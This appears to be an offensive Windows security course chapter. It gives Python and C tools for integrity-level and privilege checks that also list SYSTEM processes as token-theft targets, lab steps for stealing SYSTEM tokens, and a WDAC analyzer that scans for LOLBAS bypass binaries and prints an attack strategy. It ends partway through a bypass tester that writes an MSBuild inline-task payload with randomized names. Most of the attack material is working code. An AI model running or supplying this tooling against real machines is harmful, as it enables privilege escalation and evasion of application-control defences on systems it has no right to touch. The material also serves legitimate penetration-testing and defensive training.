TOKEN_IMPERSONATE = 0x0004
TOKEN_ADJUST_PRIVILEGES = 0x0020
PROCESS_QUERY_INFORMATION = 0x0400
SE_PRIVILEGE_ENABLED = 0x00000002
TokenIntegrityLevel = 25
TokenPrivileges = 3
TokenUser = 1
TokenIsAppContainer = 29
class IntegrityLevel(IntEnum):
UNTRUSTED = 0x0000
LOW = 0x1000
MEDIUM = 0x2000
MEDIUM_PLUS = 0x2100
HIGH = 0x3000
SYSTEM = 0x4000
PROTECTED = 0x5000
# --- Structures ---
class LUID(ctypes.Structure):
_fields_ = [("LowPart", wt.DWORD), ("HighPart", wt.LONG)]
class LUID_AND_ATTRIBUTES(ctypes.Structure):
_fields_ = [("Luid", LUID), ("Attributes", wt.DWORD)]
class TOKEN_PRIVILEGES(ctypes.Structure):
_fields_ = [
("PrivilegeCount", wt.DWORD),
("Privileges", LUID_AND_ATTRIBUTES * 64)
]
class SID_AND_ATTRIBUTES(ctypes.Structure):
_fields_ = [("Sid", ctypes.c_void_p), ("Attributes", wt.DWORD)]
class TOKEN_MANDATORY_LABEL(ctypes.Structure):
_fields_ = [("Label", SID_AND_ATTRIBUTES)]
# --- API References ---
advapi32 = ctypes.windll.advapi32
kernel32 = ctypes.windll.kernel32
def get_integrity_level(pid=None):
"""Get integrity level of a process (default: current process)."""
if pid is None:
# Get real handle to current process
hProcess = kernel32.OpenProcess(PROCESS_QUERY_INFORMATION, False, kernel32.GetCurrentProcessId())
if not hProcess:
return None, f"OpenProcess failed: {ctypes.GetLastError()}"
close_process = True
else:
hProcess = kernel32.OpenProcess(PROCESS_QUERY_INFORMATION, False, pid)
if not hProcess:
return None, f"OpenProcess failed: {ctypes.GetLastError()}"
close_process = True
hToken = wt.HANDLE()
if not advapi32.OpenProcessToken(hProcess, TOKEN_QUERY, ctypes.byref(hToken)):
err = ctypes.GetLastError()
if close_process:
kernel32.CloseHandle(hProcess)
return None, f"OpenProcessToken failed: {err}"
# Query integrity level
dwSize = wt.DWORD()
advapi32.GetTokenInformation(hToken, TokenIntegrityLevel, None, 0, ctypes.byref(dwSize))
buf = ctypes.create_string_buffer(dwSize.value)
if advapi32.GetTokenInformation(hToken, TokenIntegrityLevel, buf, dwSize, ctypes.byref(dwSize)):
pLabel = ctypes.cast(buf, ctypes.POINTER(TOKEN_MANDATORY_LABEL))
pSid = pLabel.contents.Label.Sid
# Get the last sub-authority (the integrity level RID)
advapi32.GetSidSubAuthorityCount.restype = ctypes.POINTER(ctypes.c_ubyte)
advapi32.GetSidSubAuthorityCount.argtypes = [ctypes.c_void_p]
pCount = advapi32.GetSidSubAuthorityCount(pSid)
count = pCount.contents.value
advapi32.GetSidSubAuthority.restype = ctypes.POINTER(wt.DWORD)
advapi32.GetSidSubAuthority.argtypes = [ctypes.c_void_p, wt.DWORD]
pRid = advapi32.GetSidSubAuthority(pSid, count - 1)
rid = pRid.contents.value
try:
level_name = IntegrityLevel(rid).name
except ValueError:
level_name = f"UNKNOWN(0x{rid:04X})"
kernel32.CloseHandle(hToken)
if close_process:
kernel32.CloseHandle(hProcess)
return rid, level_name
kernel32.CloseHandle(hToken)
if close_process:
kernel32.CloseHandle(hProcess)
return None, "GetTokenInformation failed"
def get_privileges():
"""Enumerate privileges of current process token."""
# Get real handle to current process
hProcess = kernel32.OpenProcess(PROCESS_QUERY_INFORMATION, False, kernel32.GetCurrentProcessId())
if not hProcess:
return []
hToken = wt.HANDLE()
if not advapi32.OpenProcessToken(hProcess, TOKEN_QUERY, ctypes.byref(hToken)):
kernel32.CloseHandle(hProcess)
return []
dwSize = wt.DWORD()
advapi32.GetTokenInformation(hToken, TokenPrivileges, None, 0, ctypes.byref(dwSize))
buf = ctypes.create_string_buffer(dwSize.value)
advapi32.GetTokenInformation(hToken, TokenPrivileges, buf, dwSize, ctypes.byref(dwSize))
tp = ctypes.cast(buf, ctypes.POINTER(TOKEN_PRIVILEGES))
privileges = []
for i in range(min(tp.contents.PrivilegeCount, 64)):
name_buf = ctypes.create_string_buffer(256)
name_len = wt.DWORD(256)
advapi32.LookupPrivilegeNameA(
None,
ctypes.byref(tp.contents.Privileges[i].Luid),
name_buf,
ctypes.byref(name_len)
)
attrs = tp.contents.Privileges[i].Attributes
enabled = bool(attrs & SE_PRIVILEGE_ENABLED)
privileges.append({
"name": name_buf.value.decode(),
"enabled": enabled
})
kernel32.CloseHandle(hToken)
kernel32.CloseHandle(hProcess)
return privileges
def check_appcontainer():
"""Check if current process is in an AppContainer."""
hProcess = kernel32.OpenProcess(PROCESS_QUERY_INFORMATION, False, kernel32.GetCurrentProcessId())
if not hProcess:
return False
hToken = wt.HANDLE()
if not advapi32.OpenProcessToken(hProcess, TOKEN_QUERY, ctypes.byref(hToken)):
kernel32.CloseHandle(hProcess)
return False
is_ac = wt.DWORD()
dwSize = wt.DWORD(ctypes.sizeof(is_ac))
advapi32.GetTokenInformation(
hToken, TokenIsAppContainer,
ctypes.byref(is_ac), dwSize, ctypes.byref(dwSize)
)
kernel32.CloseHandle(hToken)
kernel32.CloseHandle(hProcess)
return bool(is_ac.value)
def enumerate_system_processes():
"""Find SYSTEM processes suitable for token theft."""
try:
# Try PowerShell with full path
ps_path = r"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
if not os.path.exists(ps_path):
ps_path = "powershell.exe"
result = subprocess.run(
[ps_path, "-NoProfile", "-Command",
"Get-Process | Select-Object Id,ProcessName | ConvertTo-Json"],
capture_output=True, text=True, timeout=10
)
targets = ["winlogon", "lsass", "services", "csrss", "smss"]
found = []
procs = json.loads(result.stdout)
for proc in procs:
name = proc.get("ProcessName", "").lower()
if name in targets:
found.append({"pid": proc["Id"], "name": proc["ProcessName"]})
return found
except (json.JSONDecodeError, TypeError, FileNotFoundError, subprocess.TimeoutExpired):
# Fallback: use tasklist
try:
result = subprocess.run(
["tasklist", "/FO", "CSV", "/NH"],
capture_output=True, text=True, timeout=10
)
targets = ["winlogon.exe", "lsass.exe", "services.exe", "csrss.exe", "smss.exe"]
found = []
for line in result.stdout.strip().split('\n'):
parts = line.strip('"').split('","')
if len(parts) >= 2:
name = parts[0].lower()
if name in targets:
try:
pid = int(parts[1])
found.append({"pid": pid, "name": parts[0]})
except ValueError:
pass
return found
except:
return []
def sandbox_assessment():
"""Complete sandbox and token security assessment."""
print("=" * 60)
print(" SANDBOX & TOKEN SECURITY ASSESSMENT")
print("=" * 60)
# Integrity level
rid, level = get_integrity_level()
print(f"\n[*] Integrity Level: {level} (0x{rid:04X})" if rid else f"\n[-] {level}")
# AppContainer
is_ac = check_appcontainer()
print(f"[*] AppContainer: {'YES - SANDBOXED' if is_ac else 'No'}")
# Privileges
privs = get_privileges()
offensive_privs = [
"SeDebugPrivilege", "SeImpersonatePrivilege",
"SeAssignPrimaryTokenPrivilege", "SeTcbPrivilege",
"SeBackupPrivilege", "SeRestorePrivilege",
"SeLoadDriverPrivilege", "SeTakeOwnershipPrivilege"
]
print(f"\n[*] Privileges ({len(privs)} total):")
for p in privs:
marker = "***" if p["name"] in offensive_privs else " "
status = "ENABLED" if p["enabled"] else "disabled"
print(f" {marker} {p['name']:40s} [{status}]")
# Attack path assessment
print(f"\n{'=' * 60}")
print(" ATTACK PATH ASSESSMENT")
print(f"{'=' * 60}")
priv_names = {p["name"] for p in privs}
if rid and rid >= IntegrityLevel.HIGH:
print("\n [+] HIGH integrity - can attempt token theft from SYSTEM")
if "SeDebugPrivilege" in priv_names:
print(" [+] SeDebugPrivilege available - direct token theft possible")
targets = enumerate_system_processes()
if targets:
print(f" [+] SYSTEM process targets:")
for t in targets:
print(f" {t['name']} (PID {t['pid']})")
else:
print(" [-] SeDebugPrivilege missing - need to enable first")
if "SeImpersonatePrivilege" in priv_names:
print(" [+] SeImpersonatePrivilege present")
print(" Note: Traditional Potato attacks don't work on Windows 11 24H2")
print(" Reason: EFSRPC service not installed, enhanced COM security")
print(" Alternative: Token theft from SYSTEM processes")
elif "SeAssignPrimaryTokenPrivilege" in priv_names:
print(" [+] SeAssignPrimaryToken - Token assignment attack viable")
if rid and rid <= IntegrityLevel.LOW:
print("\n [!] LOW integrity - limited write access")
print(" Writable: %LOCALAPPDATA%\\Low, %TEMP%\\Low")
print(" Readable: Most user files (No-Write-Up only)")
print(" Escape: Exploit Medium-IL service or COM interface")
if is_ac:
print("\n [!] APPCONTAINER - heavily sandboxed!")
print(" Escape requires: Broker exploit, COM abuse, or kernel vuln")
print(" Next step: Enumerate available COM objects and broker interfaces")
print(f"\n{'=' * 60}")
if __name__ == "__main__":
if sys.platform != "win32":
print("[-] This tool requires Windows")
sys.exit(1)
sandbox_assessment()
Lab 4.1: Integrity Level Analysis
integrity_level_tool.c to analyze current process ILLab 4.2: AppContainer Sandbox Testing
appcontainer_analysis.c to create an AppContainer processtype %USERPROFILE%\Desktop\test.txtping 8.8.8.8 (should fail without internetClient capability)Lab 4.3: Token Theft from SYSTEM Processes
token_sandbox_analyzer.py to enumerate SYSTEM processes and assess privilegestoken_stealth.exe as Administrator to perform automated token theftwhoami and whoami /privLab 4.4: Token Manipulation Techniques
token_manipulation.c to inspect your current tokenLab 4.5: Modern Windows 11 24H2 Reality Check
sc query efsrpc (not found on 24H2)WDAC and ASR represent the OS-level execution policy layer. They answer the question: "Is this binary/script allowed to run?" - before any exploit mitigation (DEP, ASLR, CFG) even comes into play.
┌───────────────────────────────────────────────────────────────┐
│ Windows Execution Control Landscape │
├───────────────────────────────────────────────────────────────┤
│ │
│ WDAC (Windows Defender Application Control): │
│ ───────────────────────────────────────────── │
│ ├── Kernel-enforced code integrity (CI.dll, CiValidateImage) │
│ ├── Controls: executables, DLLs, scripts, drivers │
│ ├── Policy types: Base + Supplemental │
│ ├── Trust based on: signer, hash, path, publisher │
│ ├── Cannot be bypassed by admin (kernel-enforced!) │
│ └── Strongest execution control on Windows │
│ │
│ AppLocker (Legacy): │
│ ─────────────────── │
│ ├── User-mode enforcement (AppIDSvc service) │
│ ├── Controls: EXE, DLL, Script, MSI, AppX │
│ ├── Rules: Publisher, Path, Hash │
│ ├── CAN be bypassed by admin (stop service) │
│ └── Being superseded by WDAC │
│ │
│ ASR (Attack Surface Reduction): │
│ ─────────────────────────────── │
│ ├── Behavior-based rules (not binary allow/deny) │
│ ├── Blocks specific attack techniques │
│ ├── Examples: "Block Office creating child processes" │
│ │ "Block PsExec/WMI process creation" │
│ │ "Block credential stealing from LSASS" │
│ ├── Managed via Intune/GPO │
│ └── Complements WDAC - different layer │
│ │
│ RELATIONSHIP: │
│ WDAC = "WHAT can run" (binary-level allow/deny) │
│ ASR = "HOW it can behave" (technique-level blocking) │
│ Both are OS policies, NOT exploit mitigations │
│ │
└───────────────────────────────────────────────────────────────┘
// wdac_analyzer.c - Enumerate WDAC/CI policy status
// Compile: cl src\wdac_analyzer.c /Fe:bin\wdac_analyzer.exe advapi32.lib wintrust.lib shlwapi.lib
#include <windows.h>
#include <wintrust.h>
#include <softpub.h>
#include <shlwapi.h>
#include <mscat.h>
#include <stdio.h>
#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "wintrust.lib")
#pragma comment(lib, "shlwapi.lib")
#pragma comment(lib, "crypt32.lib")
/*
WDAC Enforcement Architecture:
══════════════════════════════
User request (run EXE) -> CreateProcess -> NtCreateSection
-> CI!CiValidateImageHeader (KERNEL MODE)
-> Load active CI policy
-> Check signer chain + page hashes + WDAC rules
-> ALLOW or DENY (STATUS_INVALID_IMAGE_HASH = 0xC0000604)
Key insight: WDAC is enforced in KERNEL mode.
Admin cannot disable it (unlike AppLocker).
Must find policy gaps or trusted-binary abuse.
*/
// ── Registry-based CI status query ──────────────────────────
typedef struct _CI_STATUS {
BOOL umciEnabled; // User-Mode Code Integrity
BOOL umciAuditMode; // Audit vs Enforce
BOOL hvciEnabled; // Hypervisor Code Integrity
BOOL vbsEnabled; // Virtualization Based Security
BOOL secureBootEnabled;
} CI_STATUS;
BOOL QueryCIStatus(CI_STATUS* status) {
HKEY hKey;
DWORD val, size;
LONG ret;
memset(status, 0, sizeof(CI_STATUS));
// Check CI enforcement via Control\CI registry key
ret = RegOpenKeyExA(HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Control\\CI", 0, KEY_READ, &hKey);
if (ret == ERROR_SUCCESS) {
size = sizeof(DWORD);
if (RegQueryValueExA(hKey, "UMCIAuditMode", NULL, NULL,
(LPBYTE)&val, &size) == ERROR_SUCCESS) {
status->umciAuditMode = (val == 1);
status->umciEnabled = TRUE;
}
RegCloseKey(hKey);
}
// Check Device Guard / VBS status
ret = RegOpenKeyExA(HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Control\\DeviceGuard", 0, KEY_READ, &hKey);
if (ret == ERROR_SUCCESS) {
size = sizeof(DWORD);
if (RegQueryValueExA(hKey, "EnableVirtualizationBasedSecurity",
NULL, NULL, (LPBYTE)&val, &size) == ERROR_SUCCESS) {
status->vbsEnabled = (val == 1);
}
if (RegQueryValueExA(hKey, "HypervisorEnforcedCodeIntegrity",
NULL, NULL, (LPBYTE)&val, &size) == ERROR_SUCCESS) {
status->hvciEnabled = (val == 1);
}
RegCloseKey(hKey);
}
// Check Secure Boot
ret = RegOpenKeyExA(HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Control\\SecureBoot\\State", 0, KEY_READ, &hKey);
if (ret == ERROR_SUCCESS) {
size = sizeof(DWORD);
if (RegQueryValueExA(hKey, "UEFISecureBootEnabled",
NULL, NULL, (LPBYTE)&val, &size) == ERROR_SUCCESS) {
status->secureBootEnabled = (val == 1);
}
RegCloseKey(hKey);
}
return TRUE;
}
// ── Active CI policy file enumeration ───────────────────────
void EnumeratePolicyFiles() {
printf("\n=== Active CI Policy Files ===\n\n");
const char* policyPaths[] = {
"C:\\Windows\\System32\\CodeIntegrity\\SiPolicy.p7b",
"C:\\Windows\\System32\\CodeIntegrity\\CiPolicies\\Active\\",
NULL
};
// Check legacy single-policy file
if (GetFileAttributesA(policyPaths[0]) != INVALID_FILE_ATTRIBUTES) {
WIN32_FILE_ATTRIBUTE_DATA fad;
GetFileAttributesExA(policyPaths[0], GetFileExInfoStandard, &fad);
printf(" [+] SiPolicy.p7b: PRESENT (%d bytes)\n",
fad.nFileSizeLow);
printf(" -> Legacy single WDAC policy (pre-1903)\n");
} else {
printf(" [ ] SiPolicy.p7b: Not present\n");
}
// Enumerate multiple policy files (Windows 10 1903+ / Windows 11)
WIN32_FIND_DATAA fd;
HANDLE hFind = FindFirstFileA(
"C:\\Windows\\System32\\CodeIntegrity\\CiPolicies\\Active\\*.cip", &fd);
int policyCount = 0;
if (hFind != INVALID_HANDLE_VALUE) {
do {
policyCount++;
printf(" [+] Policy: %s (%d bytes)\n",
fd.cFileName, fd.nFileSizeLow);
// Check if it's a supplemental policy (GUID-based name)
if (strchr(fd.cFileName, '{')) {
printf(" -> Supplemental policy (GUID-based)\n");
printf(" -> BYPASS NOTE: Supplemental policies can EXPAND trust\n");
}
} while (FindNextFileA(hFind, &fd));
FindClose(hFind);
}
if (policyCount == 0)
printf(" [ ] No .cip policy files in Active directory\n");
else
printf(" [*] Total active policies: %d\n", policyCount);
}
// ── Verify Authenticode signature of a binary ───────────────
BOOL VerifyCatalogSignature(const wchar_t* filePath, DWORD* pErrorCode) {
*pErrorCode = 0;
HANDLE hFile = CreateFileW(filePath, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
*pErrorCode = GetLastError();
return FALSE;
}
// First call to get hash size
DWORD hashSize = 0;
CryptCATAdminCalcHashFromFileHandle(hFile, &hashSize, NULL, 0);
if (hashSize == 0 || hashSize > 256) {
*pErrorCode = 1; // Hash size error
CloseHandle(hFile);
return FALSE;
}
// Allocate and calculate actual hash
BYTE hash[256];
if (!CryptCATAdminCalcHashFromFileHandle(hFile, &hashSize, hash, 0)) {
*pErrorCode = GetLastError();
CloseHandle(hFile);
return FALSE;
}
CloseHandle(hFile);
// Acquire catalog context
HCATADMIN hCatAdmin = NULL;
if (!CryptCATAdminAcquireContext(&hCatAdmin, NULL, 0)) {
*pErrorCode = GetLastError();
return FALSE;
}
// Search for catalog containing this file's hash
HCATINFO hCatInfo = CryptCATAdminEnumCatalogFromHash(hCatAdmin, hash, hashSize, 0, NULL);
BOOL isSigned = (hCatInfo != NULL);
if (hCatInfo) {
CryptCATAdminReleaseCatalogContext(hCatAdmin, hCatInfo, 0);
}
CryptCATAdminReleaseContext(hCatAdmin, 0);
return isSigned;
}
const char* VerifyBinarySignature(const wchar_t* filePath) {
WINTRUST_FILE_INFO fileInfo = {0};
fileInfo.cbStruct = sizeof(WINTRUST_FILE_INFO);
fileInfo.pcwszFilePath = filePath;
GUID policyGUID = WINTRUST_ACTION_GENERIC_VERIFY_V2;
WINTRUST_DATA trustData = {0};
trustData.cbStruct = sizeof(WINTRUST_DATA);
trustData.dwUIChoice = WTD_UI_NONE;
trustData.fdwRevocationChecks = WTD_REVOKE_NONE;
trustData.dwUnionChoice = WTD_CHOICE_FILE;
trustData.pFile = &fileInfo;
trustData.dwStateAction = WTD_STATEACTION_VERIFY;
trustData.dwProvFlags = WTD_SAFER_FLAG;
LONG result = WinVerifyTrust(NULL, &policyGUID, &trustData);
// Clean up state
trustData.dwStateAction = WTD_STATEACTION_CLOSE;
WinVerifyTrust(NULL, &policyGUID, &trustData);
// If no embedded signature, check catalog signature
if (result == TRUST_E_NOSIGNATURE) {
DWORD catalogError = 0;
if (VerifyCatalogSignature(filePath, &catalogError)) {
return "SIGNED (Catalog)";
}
// Uncomment for debugging:
// printf(" [DEBUG] Catalog check failed: error %d\n", catalogError);
}
switch (result) {
case ERROR_SUCCESS:
return "SIGNED (Embedded)";
case TRUST_E_NOSIGNATURE:
return "UNSIGNED";
case TRUST_E_EXPLICIT_DISTRUST:
return "EXPLICITLY DISTRUSTED";
case CRYPT_E_SECURITY_SETTINGS:
return "BLOCKED BY POLICY";
case TRUST_E_SUBJECT_NOT_TRUSTED:
return "SIGNED (Untrusted)";
default:
return "UNKNOWN STATUS";
}
}
// ── Scan for LOLBAS bypass binaries ─────────────────────────
void ScanLOLBASBypassOpportunities() {
printf("\n=== LOLBAS Bypass Binary Availability ===\n\n");
// These Microsoft-signed binaries can execute arbitrary code
// If present and not blocked by WDAC policy, they're bypass vectors
struct { const wchar_t* path; const char* name; const char* technique; } lolbas[] = {
{ L"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe",
"MSBuild.exe", "Compile+execute inline C# from .csproj" },
{ L"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe",
"InstallUtil.exe", "Execute .NET assembly via /U uninstall" },
{ L"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe",
"csc.exe", "Compile C# on-disk then execute" },
{ L"C:\\Windows\\System32\\mshta.exe",
"mshta.exe", "Execute HTA with embedded VBScript/JScript" },
{ L"C:\\Windows\\System32\\wscript.exe",
"wscript.exe", "Execute VBScript/JScript files" },
{ L"C:\\Windows\\System32\\cmstp.exe",
"cmstp.exe", "Execute DLL via INF ScriptExtension" },
{ L"C:\\Windows\\System32\\msiexec.exe",
"msiexec.exe", "Execute DLL payload from MSI" },
{ L"C:\\Windows\\System32\\certutil.exe",
"certutil.exe", "Download + decode payloads" },
{ L"C:\\Windows\\System32\\rundll32.exe",
"rundll32.exe", "Execute exported DLL function" },
{ L"C:\\Windows\\System32\\regsvr32.exe",
"regsvr32.exe", "Scriptlet execution via /s /i:URL" },
};
for (int i = 0; i < _countof(lolbas); i++) {
BOOL exists = (GetFileAttributesW(lolbas[i].path) != INVALID_FILE_ATTRIBUTES);
const char* sigStatus = exists ?
VerifyBinarySignature(lolbas[i].path) : "N/A";
printf(" %s %-18s Sig: %-20s Technique: %s\n",
exists ? "[+]" : "[-]",
lolbas[i].name,
sigStatus,
lolbas[i].technique);
}
}
// ── Check ASR rule enforcement ──────────────────────────────
void CheckASRRules() {
printf("\n=== ASR Rule Enforcement Status ===\n\n");
// ASR rules are stored in this registry key
HKEY hKey;
LONG ret = RegOpenKeyExA(HKEY_LOCAL_MACHINE,
"SOFTWARE\\Policies\\Microsoft\\Windows Defender\\"
"Windows Defender Exploit Guard\\ASR\\Rules",
0, KEY_READ, &hKey);
if (ret != ERROR_SUCCESS) {
// Try alternative path
ret = RegOpenKeyExA(HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Windows Defender\\"
"Windows Defender Exploit Guard\\ASR\\Rules",
0, KEY_READ, &hKey);
}
struct { const char* guid; const char* name; } asrRules[] = {
{ "D4F940AB-401B-4EFC-AADC-AD5F3C50688A", "Block Office child processes" },
{ "3B576869-A4EC-4529-8536-B80A7769E899", "Block Office creating executables" },
{ "75668C1F-73B5-4CF0-BB93-3ECF5CB7CC84", "Block Office code injection" },
{ "D3E037E1-3EB8-44C8-A917-57927947596D", "Block PsExec/WMI process creation" },
{ "9E6C4E1F-7D60-472F-BA1A-A39EF669E4B2", "Block credential theft from LSASS" },
{ "BE9BA2D9-53EA-4CDC-84E5-9B1EEEE46550", "Block executable content from email" },
{ "5BEB7EFE-FD9A-4556-801D-275E5FFC04CC", "Block downloads of executable content" },
{ "92E97FA1-2EDF-4476-BDD6-9DD0B4DDDC7B", "Block Win32 API from Office macros" },
{ "26190899-1602-49E8-8B27-EB1D0A1CE869", "Block Office COM object creation" },
{ "7674BA52-37EB-4A4F-A9A1-F0F9A1619A2C", "Block Adobe Reader child processes" },
};
if (ret == ERROR_SUCCESS) {
for (int i = 0; i < _countof(asrRules); i++) {
DWORD val = 0, size = sizeof(DWORD);
char valStr[16] = {0};
DWORD valStrSize = sizeof(valStr);
// ASR rules can be DWORD or string values
DWORD type = 0;
ret = RegQueryValueExA(hKey, asrRules[i].guid, NULL, &type,
(LPBYTE)valStr, &valStrSize);
const char* mode = "Not configured";
if (ret == ERROR_SUCCESS) {
// Value is a string: "0"=disabled, "1"=block, "2"=audit, "6"=warn
int v = atoi(valStr);
switch (v) {
case 0: mode = "DISABLED"; break;
case 1: mode = "BLOCK"; break;
case 2: mode = "AUDIT"; break;
case 6: mode = "WARN"; break;
default: mode = "UNKNOWN"; break;
}
}
printf(" %-8s %s\n", mode, asrRules[i].name);
}
RegCloseKey(hKey);
} else {
printf(" [*] ASR rules not configured via Group Policy\n");
printf(" [*] May be managed via Intune/MDE - check:\n");
printf(" Get-MpPreference | Select *asr*\n");
}
}
// ── Test binary execution against WDAC ──────────────────────
void TestBinaryExecution(const char* testExePath) {
printf("\n=== WDAC Execution Test: %s ===\n\n", testExePath);
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi = {0};
// Attempt to create process - WDAC denies at NtCreateSection
if (CreateProcessA(testExePath, NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
printf(" [+] CreateProcess SUCCEEDED - binary ALLOWED by CI policy\n");
printf(" PID: %d\n", pi.dwProcessId);
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
} else {
DWORD err = GetLastError();
printf(" [-] CreateProcess FAILED - error %d\n", err);
if (err == 225) { // ERROR_VIRUS_INFECTED
printf(" -> Blocked by Windows Defender / AMSI\n");
} else if (err == 1260) { // ERROR_ACCESS_DISABLED_BY_POLICY
printf(" -> Blocked by WDAC/AppLocker POLICY\n");
printf(" -> STATUS_INVALID_IMAGE_HASH at CI layer\n");
} else if (err == 5) {
printf(" -> Access denied (check permissions)\n");
}
}
}
int main(int argc, char* argv[]) {
printf("===========================\n");
printf("WDAC/CI Policy Analyzer \n");
printf("===========================\n\n");
// Phase 1: Query CI enforcement status from registry
printf("=== Code Integrity Enforcement Status ===\n\n");
CI_STATUS ci = {0};
QueryCIStatus(&ci);
printf(" UMCI (User-Mode CI): %s\n",
ci.umciEnabled ? (ci.umciAuditMode ? "AUDIT MODE" : "ENFORCED") : "DISABLED");
printf(" HVCI (Kernel CI): %s\n", ci.hvciEnabled ? "ENABLED" : "DISABLED");
printf(" VBS: %s\n", ci.vbsEnabled ? "ENABLED" : "DISABLED");
printf(" Secure Boot: %s\n", ci.secureBootEnabled ? "ENABLED" : "DISABLED");
if (!ci.umciEnabled) {
printf("\n [!] UMCI not enforced - WDAC is NOT blocking usermode binaries\n");
printf(" [!] Any EXE/DLL will execute regardless of signature\n");
} else if (ci.umciAuditMode) {
printf("\n [!] UMCI in AUDIT mode - violations logged but NOT blocked\n");
printf(" [!] Check Event Viewer: Applications and Services > Microsoft\n");
printf(" > Windows > CodeIntegrity > Operational (Event ID 3076)\n");
} else {
printf("\n [*] UMCI ENFORCED - unsigned/untrusted code BLOCKED\n");
printf(" [*] Need LOLBAS, DLL sideloading, or signing bypass\n");
}
if (ci.hvciEnabled) {
printf(" [!] HVCI enabled - unsigned kernel drivers BLOCKED\n");
printf(" [!] BYOVD limited to HVCI-compatible signed drivers\n");
}
// Phase 2: Enumerate active policy files
EnumeratePolicyFiles();
// Phase 3: Scan for LOLBAS bypass opportunities
ScanLOLBASBypassOpportunities();
// Phase 4: Check ASR enforcement
CheckASRRules();
// Phase 5: Test specific binary if provided
if (argc > 1) {
TestBinaryExecution(argv[1]);
}
printf("\n==========================================\n");
printf("ATTACK STRATEGY BASED ON FINDINGS:\n");
if (!ci.umciEnabled) {
printf(" -> No WDAC - execute any unsigned payload directly\n");
} else if (ci.umciAuditMode) {
printf(" -> Audit mode - execute payload, check logs for stealth\n");
} else {
printf(" -> WDAC enforced. Priority bypass paths:\n");
printf(" 1. LOLBAS (MSBuild/InstallUtil) if available\n");
printf(" 2. DLL sideloading via trusted signed EXE\n");
printf(" 3. Managed Installer abuse (if SCCM/Intune)\n");
printf(" 4. Supplemental policy injection (if allowed)\n");
printf(" 5. Signed binary with known vuln (BYOVDLL)\n");
}
printf("=============================================\n");
return 0;
}
// wdac_bypass_tester.c
// Compile: cl src\wdac_bypass_tester.c /Fe:bin\wdac_bypass_tester.exe user32.lib
#include <windows.h>
#include <stdio.h>
#include <time.h>
#include <tlhelp32.h>
#pragma comment(lib, "user32.lib")
void XorObfuscate(char* data, size_t len, BYTE key) {
for (size_t i = 0; i < len; i++) {
data[i] ^= key;
}
}
void GenerateRandomName(char* buffer, size_t size) {
const char* prefixes[] = {"Build", "Config", "Setup", "Update", "Install", "Deploy"};
const char* suffixes[] = {"Task", "Helper", "Manager", "Service", "Handler", "Worker"};
srand((unsigned int)time(NULL) + GetTickCount());
snprintf(buffer, size, "%s%s%d",
prefixes[rand() % 6],
suffixes[rand() % 6],
rand() % 9999);
}
BOOL IsProcessRunning(const char* processName) {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) return FALSE;
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
BOOL found = FALSE;
if (Process32First(hSnapshot, &pe32)) {
do {
if (_stricmp(pe32.szExeFile, processName) == 0) {
found = TRUE;
break;
}
} while (Process32Next(hSnapshot, &pe32));
}
CloseHandle(hSnapshot);
return found;
}
void ListAllProcesses() {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) return;
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
printf("[DEBUG] Running processes:\n");
if (Process32First(hSnapshot, &pe32)) {
do {
if (strstr(pe32.szExeFile, "calc") || strstr(pe32.szExeFile, "Calc") ||
strstr(pe32.szExeFile, "mshta") || strstr(pe32.szExeFile, "regsvr")) {
printf(" - %s (PID: %lu)\n", pe32.szExeFile, pe32.th32ProcessID);
}
} while (Process32Next(hSnapshot, &pe32));
}
CloseHandle(hSnapshot);
}
void KillProcess(const char* processName) {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) return;
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hSnapshot, &pe32)) {
do {
if (_stricmp(pe32.szExeFile, processName) == 0) {
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pe32.th32ProcessID);
if (hProcess) {
TerminateProcess(hProcess, 0);
CloseHandle(hProcess);
}
}
} while (Process32Next(hSnapshot, &pe32));
}
CloseHandle(hSnapshot);
}
BOOL TestMSBuildPayload(const char* outputPath) {
char className[64], taskName[64];
GenerateRandomName(className, sizeof(className));
GenerateRandomName(taskName, sizeof(taskName));
FILE* f = fopen(outputPath, "w");
if (!f) {
printf("[-] Failed to create %s\n", outputPath);
return FALSE;
}
fprintf(f,
"<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n"
" <Target Name=\"Main\">\n"
" <%s />\n"
" </Target>\n"
" <UsingTask TaskName=\"%s\" TaskFactory=\"CodeTaskFactory\"\n"
" AssemblyFile=\"C:\\Windows\\Microsoft.Net\\Framework64\\v4.0.30319\\Microsoft.Build.Tasks.v4.0.dll\">\n"
" <Task>\n"
" <Code Type=\"Class\" Language=\"cs\">\n"
" <![CDATA[\n"
" using System;\n"
" using System.Diagnostics;\n"
" using Microsoft.Build.Framework;\n"
" using Microsoft.Build.Utilities;\n"
"\n"
" public class %s : Task {\n"
" public override bool Execute() {\n"
" var p = new ProcessStartInfo();\n"
" p.FileName = \"calc.exe\";\n"
" p.WindowStyle = ProcessWindowStyle.Normal;\n"
" try { Process.Start(p); } catch { }\n"
" return true;\n"
" }\n"
" }\n"
" ]]>\n"
